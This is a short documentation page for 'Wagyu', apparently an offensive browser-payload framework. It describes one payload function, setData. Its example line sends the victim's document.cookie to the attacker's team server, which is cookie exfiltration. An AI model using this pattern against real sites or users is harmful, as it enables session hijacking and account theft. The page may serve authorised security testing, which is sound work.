Payload Functions

Learn about the default payload functions within Wagyu.

There are numerous payload functions within Wagyu which can be used to aid the development of payloads. The following payload functions can be used when writing your own payloads:

Function
Example Usage
Description

setData(name, value, type)

setData('cookies', document.cookie, 'text')

Set data to be returned to the team server. This is outputted in the findings tab. Type is either text or image.

Last updated